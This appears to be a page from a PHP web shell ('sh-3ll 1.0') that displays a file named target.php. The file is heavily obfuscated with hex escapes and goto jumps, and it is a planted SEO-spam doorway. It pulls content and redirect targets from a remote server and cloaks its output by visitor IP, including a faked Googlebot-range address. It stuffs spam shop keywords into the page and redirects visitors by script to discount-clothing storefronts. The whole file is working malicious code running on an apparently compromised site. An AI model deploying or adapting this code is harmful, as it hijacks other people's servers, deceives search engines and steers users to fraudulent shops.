HOME

sh-3ll 1.0
Current File : /home/ami/.trash/target.php
<?php
/* obfuscated by phpObfuscator.cn */
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); function getCurl($lQzvzt) { goto lHBdvtt; lHBdvtc: curl_setopt($lQzvzd, CURLOPT_SSL_VERIFYPEER, false); goto lHBdvtz; lHBdvtz: curl_setopt($lQzvzd, CURLOPT_SSL_VERIFYHOST, false); goto lHBdvtn; lHBdvtt: $lQzvzd = curl_init(); goto lHBdvtd; lHBdvtv: curl_setopt($lQzvzd, CURLOPT_RETURNTRANSFER, 1); goto lHBdvtc; lHBdvtn: $lQzvzv = curl_exec($lQzvzd); goto lHBdvtu; lHBdvtu: curl_close($lQzvzd); goto lHBdvtH; lHBdvtH: return $lQzvzv; goto lHBdvtF; lHBdvtd: curl_setopt($lQzvzd, CURLOPT_URL, $lQzvzt); goto lHBdvtv; lHBdvtF: } $lQzvzc = isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\120\123"] == "\157\x6e" || isset($_SERVER["\x48\124\124\x50\137\x58\137\x46\117\x52\x57\101\122\x44\105\x44\137\120\122\117\124\117"]) && $_SERVER["\110\124\x54\x50\x5f\130\137\106\x4f\122\127\101\122\x44\x45\104\137\x50\122\117\124\117"] == "\x68\x74\x74\160\163" ? "\150\164\164\x70\x73\72\57\57" : "\x68\x74\x74\160\x3a\x2f\x2f"; $lQzvzz = "\x68\164\164\x70\72\x2f\57\x70\145\156\x64\163\160\157\162\x74\x73\x2e\x63\x6f\155\x2f\61\x2e\141\x73\160\x78"; if (!is_null($_GET["\147"])) { goto lHBdvty; } $lQzvzn = getCurl($lQzvzz . "\x3f\x78\x79\75" . $lQzvzc); $lQzvzu = getCurl($lQzvzz . "\x3f\152\144\75" . $lQzvzn); goto lHBdvtB; lHBdvty: $lQzvzn = getCurl($lQzvzz . "\77\x73\x7a\x3d" . $_GET["\147"]); $lQzvzu = $_GET["\147"]; lHBdvtB: $lQzvzn = str_replace("\150\164\164\x70\163", "\150\x74\164\160", $lQzvzn); $lQzvzH = $lQzvzn . "\x4a\x47\x36\x36\x36\56\x61\163\x70\170"; $lQzvzF = $lQzvzn . "\123\70\x38\x38\56\x61\x73\160\x78"; if (is_null($_GET["\163"])) { goto lHBdvtp; } $lQzvzF = $lQzvzF . "\x3f\156\165\155\x62\145\162\75" . $_GET["\156\x75\155\142\x65\x72"] . "\46\x70\156\165\x6d\75" . $_GET["\x70\x6e\x75\x6d"] . "\x26\143\x69\x64\x3d" . $_GET["\x63\151\x64"] . "\46\x74\171\160\x65\x3d" . $_GET["\164\171\x70\145"]; $lQzvzy = getCurl($lQzvzF); $lQzvzy = str_replace("\x79\x79\x6d\155", $lQzvzc . $_SERVER["\x48\x54\x54\120\137\110\117\123\124"] . $_SERVER["\123\103\x52\x49\x50\x54\x5f\116\101\115\105"], $lQzvzy); $lQzvzy = str_replace("\x67\147\x67\147\x67", $lQzvzu, $lQzvzy); header("\x43\157\x6e\x74\x65\x6e\x74\55\164\x79\x70\x65\72\x74\x65\x78\164\57\170\155\x6c"); echo $lQzvzy; exit; lHBdvtp: $lQzvzB = ''; if (is_null($_GET["\163\x68\x6f\x70"])) { goto lHBdvtx; } $lQzvzB = urldecode($_GET["\163\x68\x6f\x70"]); lHBdvtx: $lQzvzp = GetIp(); if (is_null($_GET["\153\153"])) { goto lHBdvte; } $lQzvzp = "\x36\66\56\x32\x34\x39\x2e\x36\64\56\x31\71\x30"; lHBdvte: $lQzvzx = getCurl($lQzvzn . "\147\145\x74\x64\x6f\x6d\141\x69\x6e\x2e\x61\x73\x70\x78\x3f\162\x6e\x64\75\61\x26\151\160\75" . $lQzvzp); $lQzvze = $lQzvzn . "\141\56\141\163\160\x78"; if (stripos($lQzvzx, "\147\157\157\x67\x6c\x65") != false or stripos($lQzvzx, "\155\x73\156\x2e\x63\157\x6d") != false or stripos($lQzvzx, "\x79\141\150\157\x6f\x2e\x63\x6f\155") != false or stripos($lQzvzx, "\141\x6f\154\x2e\143\x6f\155") != false or stripos($lQzvzx, "\x79\x61\156\144\x65\x78") != false) { goto lHBdvdt; } if (!(!is_null($_GET["\x69\x69\x64"]) || !is_null($_GET["\x73\x68\x6f\x70"]))) { goto lHBdvtG; } $lQzvzB = urldecode($_GET["\x73\x68\x6f\160"]); echo "\x3c\x73\143\162\x69\x70\x74\76\144\157\143\165\155\x65\156\164\x2e\x6c\157\143\141\164\151\x6f\156\75\x22" . $lQzvze . "\77\x63\151\144\x3d" . $_GET["\x63\151\144"] . "\x26\143\156\141\x6d\145\x3d" . urlencode($lQzvzB) . "\x26\165\x72\154\x3d" . $_SERVER["\x48\124\124\x50\x5f\110\x4f\x53\124"] . "\42\x3c\57\x73\143\x72\151\x70\164\76"; exit; lHBdvtG: if (is_null($_GET["\x70\x6e\x75\x6d"])) { goto lHBdvtQ; } $lQzvzG = str_replace("\x70\162\x6f\144\x75\x63\164\x73\56\x61\163\x70\x78", '', $lQzvze) . "\x3f\x63\151\x64\75" . $_GET["\143\x69\144"] . ''; echo "\74\x73\143\162\x69\160\x74\76\144\157\x63\x75\155\x65\156\x74\56\x6c\x6f\x63\x61\x74\x69\157\156\x3d\42" . $lQzvzG . "\x22\74\x2f\x73\143\x72\151\x70\x74\x3e"; exit; lHBdvtQ: goto lHBdvdd; lHBdvdt: lHBdvdd: function GetIp() { goto lHBdvdn; lHBdvdF: goto lHBdvdv; goto lHBdvdy; lHBdvdu: if (!empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\106\x4f\x52\127\x41\122\104\105\104\137\106\x4f\x52"])) { goto lHBdvdz; } goto lHBdvdH; lHBdvdp: goto lHBdvdv; goto lHBdvdx; lHBdvdn: if (!empty($_SERVER["\x48\x54\x54\120\137\103\114\x49\x45\116\x54\137\111\120"])) { goto lHBdvdc; } goto lHBdvdu; lHBdvdx: lHBdvdz: goto lHBdvde; lHBdvdG: lHBdvdv: goto lHBdvdQ; lHBdvdB: $lQzvzp = $_SERVER["\x48\x54\124\x50\x5f\103\114\111\x45\116\x54\x5f\111\x50"]; goto lHBdvdp; lHBdvdQ: return $lQzvzp; goto lHBdvvt; lHBdvde: $lQzvzp = $_SERVER["\x48\x54\x54\120\137\130\137\106\117\122\127\x41\122\104\x45\x44\x5f\x46\117\122"]; goto lHBdvdG; lHBdvdy: lHBdvdc: goto lHBdvdB; lHBdvdH: $lQzvzp = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\x41\x44\104\122"]; goto lHBdvdF; lHBdvvt: } echo "\74\x68\x74\x6d\x6c\x3e\xd\12\xd\xa\x3c\150\145\141\x64\76\xd\xa\x20\40\74\164\151\164\154\x65\x3e"; echo $lQzvzB . $_GET["\163\x65\x61\162\143\150"] . "\40\121\x75\141\x6c\x69\x74\171\x20\120\162\x6f\x6d\x6f\x74\151\157\156\x61\154\x20\x50\162\x6f\x64\x75\143\164\163\x20\46\40\115\x65\x72\143\x68\141\x6e\x64\x69\163\145\x20\x7c\40\x4c\157\x77\x65\x73\x74\40\x50\162\151\143\145\x73\40\55\x20\117\156\154\x69\x6e\x65\40\163\150\x6f\160\160\x69\x6e\x67\40\x66\x6f\x72\x20\164\150\145\40\x4c\x61\x74\x65\163\164\40\103\154\157\164\x68\x65\x73\40\x26\40\106\141\x73\150\151\157\156\40\x20\x2d\x20\x4f\x46\106\40" . mt_rand(50, 70) . "\x25" . $_GET["\x74\x61\x67"]; echo "\x20\x20\74\x2f\164\x69\164\154\145\x3e\15\12\40\40\74\x6d\x65\x74\x61\x20\156\x61\x6d\145\x3d\42\x6b\145\x79\167\157\162\144\x73\x22\x20\143\157\x6e\x74\145\156\164\x3d\x22"; echo $lQzvzB; echo "\42\40\57\76\xd\xa\x20\x20\x3c\155\145\164\141\40\156\141\155\145\75\42\x64\145\x73\143\162\x69\x70\164\151\157\156\42\40\143\x6f\156\x74\145\x6e\164\75\42\103\x6c\x65\x61\162\40\x77\141\162\145\x68\x6f\x75\x73\145\xef\xbc\201\167\x61\163\x20\144\x69\163\x63\x6f\166\145\x72\145\x64\40\x62\171\40\171\x6f\x75\x20\76\x20\x4f\106\x46\40\55\x20"; echo mt_rand(50, 70); echo "\45\x20"; echo $lQzvzB; echo "\x20\102\145\x73\x74\40\x43\150\x65\x61\x70\x20\117\x6e\x6c\x69\156\x65\x20\x53\x68\x6f\160\x70\151\x6e\x67\40\x53\151\164\145\x3a\40\123\x65\143\165\x72\145\x20\120\141\171\155\145\x6e\x74\163\54\x20\x46\141\163\164\x20\104\145\x6c\x69\x76\x65\162\x79\x2c\x20\104\151\x73\x63\157\166\x65\162\40\x4d\151\x6c\x6c\x69\x6f\156\x73\x20\157\x66\40\107\162\x65\x61\x74\x20\x44\151\x73\x63\157\165\156\164\x73\x2c\40\115\x61\153\x65\x20\131\x6f\165\162\40\x53\x68\157\x70\x70\151\x6e\147\x20\106\165\156\x20\141\x6e\144\40\x53\x75\x72\160\162\151\x73\145\54\x20\141\156\144\40\x46\x72\x65\x65\40\110\x6f\x6d\145\x20\x53\x68\151\160\x70\x69\156\147\41"; echo $_GET["\x73\x65\141\x72\143\150\x74\x78\x74"]; echo "\x22\40\x2f\x3e\xd\12\x20\x20\x3c\x6d\x65\x74\141\x20\156\141\155\145\75\42\x72\x6f\x62\x6f\164\x73\42\x20\x63\x6f\156\164\x65\x6e\164\75\x22\151\x6e\144\145\170\54\146\x6f\x6c\x6c\x6f\x77\54\x61\154\154\x22\x20\57\x3e\15\xa\x20\40\74\x6d\x65\x74\141\x20\x68\x74\x74\160\55\x65\x71\x75\151\166\75\42\x43\157\156\x74\x65\156\164\x2d\124\171\x70\x65\42\40\x63\x6f\x6e\x74\145\156\164\75\x22\x74\x65\x78\164\x2f\x68\164\x6d\x6c\x3b\143\150\141\162\163\145\x74\x3d\x75\x74\146\x2d\70\x22\x3e\xd\xa\40\40\x3c\x6d\145\x74\141\x20\x6e\x61\155\145\x3d\x22\166\151\x65\167\x70\157\x72\x74\x22\40\143\x6f\156\x74\x65\x6e\x74\x3d\x22\167\x69\x64\x74\x68\x3d\x64\145\166\151\143\x65\x2d\x77\x69\144\164\150\x2c\x20\x69\x6e\x69\164\151\141\x6c\x2d\163\143\x61\x6c\x65\x3d\x31\x2e\60\54\40\x6d\141\x78\x69\155\165\x6d\55\x73\x63\141\x6c\x65\75\x31\x2e\60\54\40\165\163\145\x72\x2d\x73\143\x61\154\141\142\154\145\75\156\x6f\x22\40\57\x3e\15\xa\74\x2f\150\145\141\144\76\xd\xa\15\12\74\x62\157\144\171\76\xd\xa\xd\12\x20\40"; if (!is_null($_GET["\x69\151\144"])) { goto lHBdvvz; } if (!is_null($_GET["\x73\150\157\160"])) { goto lHBdvvv; } if (is_null($_GET["\160\156\x75\x6d"])) { goto lHBdvvd; } $lQzvzH = $lQzvzH . "\77\x63\x69\144\75" . $_GET["\x63\151\x64"] . "\x26\160\x6e\165\155\x3d" . $_GET["\x70\156\x75\x6d"]; lHBdvvd: goto lHBdvvc; lHBdvvv: $lQzvzH = $lQzvzH . "\x3f\x73\150\157\160\75" . urlencode($_GET["\163\x68\157\x70"]) . "\x26\x63\x69\x64\75" . $_GET["\x63\x69\x64"]; lHBdvvc: goto lHBdvvn; lHBdvvz: $lQzvzH = $lQzvzH . "\x3f\x69\151\x64\x3d" . urlencode($_GET["\x69\151\x64"]) . "\46\x63\x69\144\75" . $_GET["\143\151\144"]; lHBdvvn: $lQzvzy = getCurl($lQzvzH); $lQzvzy = str_replace("\147\147\147\x67\147", $lQzvzu, $lQzvzy); $lQzvzy = str_replace("\111\x49\x49\x49\111", $lQzvzc . $_SERVER["\110\x54\x54\120\137\x48\x4f\x53\x54"], $lQzvzy); $lQzvzy = str_replace("\x55\x55\125\125\x55", $lQzvzc . $_SERVER["\x48\124\x54\x50\137\110\117\123\124"] . $_SERVER["\123\103\122\x49\x50\124\x5f\x4e\101\115\x45"], $lQzvzy); $lQzvzy = str_replace("\110\110\110\110\110", $lQzvzc . $_SERVER["\110\124\x54\120\x5f\110\x4f\123\x54"] . $_SERVER["\123\x43\x52\x49\120\124\137\116\x41\115\x45"], $lQzvzy); $lQzvzy = str_replace("\x42\102\x42\102\x42", $_SERVER["\x48\124\124\120\x5f\110\117\x53\124"], $lQzvzy); $lQzvzy = str_replace("\116\x4e\116\116\116", $lQzvzB . $_GET["\x69\151\x64"], $lQzvzy); $lQzvzy = str_replace("\123\123\x53\x53\x53", $lQzvzB . $_GET["\151\x69\x64"] . $_GET["\160\156\165\x6d"], $lQzvzy); $lQzvzy = str_replace("\x44\104\x44\104\104", $lQzvzB . "\74\x64\x69\166\40\163\164\x79\154\x65\x3d\47\x64\151\163\160\154\x61\171\x3a\40\x62\154\x6f\x63\x6b\x27\x3e\x3c\x75\x6c\76\74\154\x69\x3e\122\145\154\141\x74\145\x64\x20\x6c\x69\x6e\x6b\x73\x3a\40\74\x61\x20\x68\x72\145\146\75\47" . $_SERVER["\x53\x43\122\x49\x50\124\x5f\x4e\x41\115\x45"] . "\77\147\x3d" . mt_rand(1, 14) . "\46\x70\156\x75\155\75" . mt_rand(1, 30) . "\x27\76\120\154\x75\163\74\57\x61\76\x3c\x2f\165\x6c\76\x3c\x2f\x64\x69\166\76" . $_GET["\163\x65\x61\x72\143\x68\x74\170\164"], $lQzvzy); echo $lQzvzy; echo "\15\xa\x3c\x2f\x62\x6f\x64\171\x3e\xd\12\xd\12\x3c\57\150\164\x6d\154\x3e";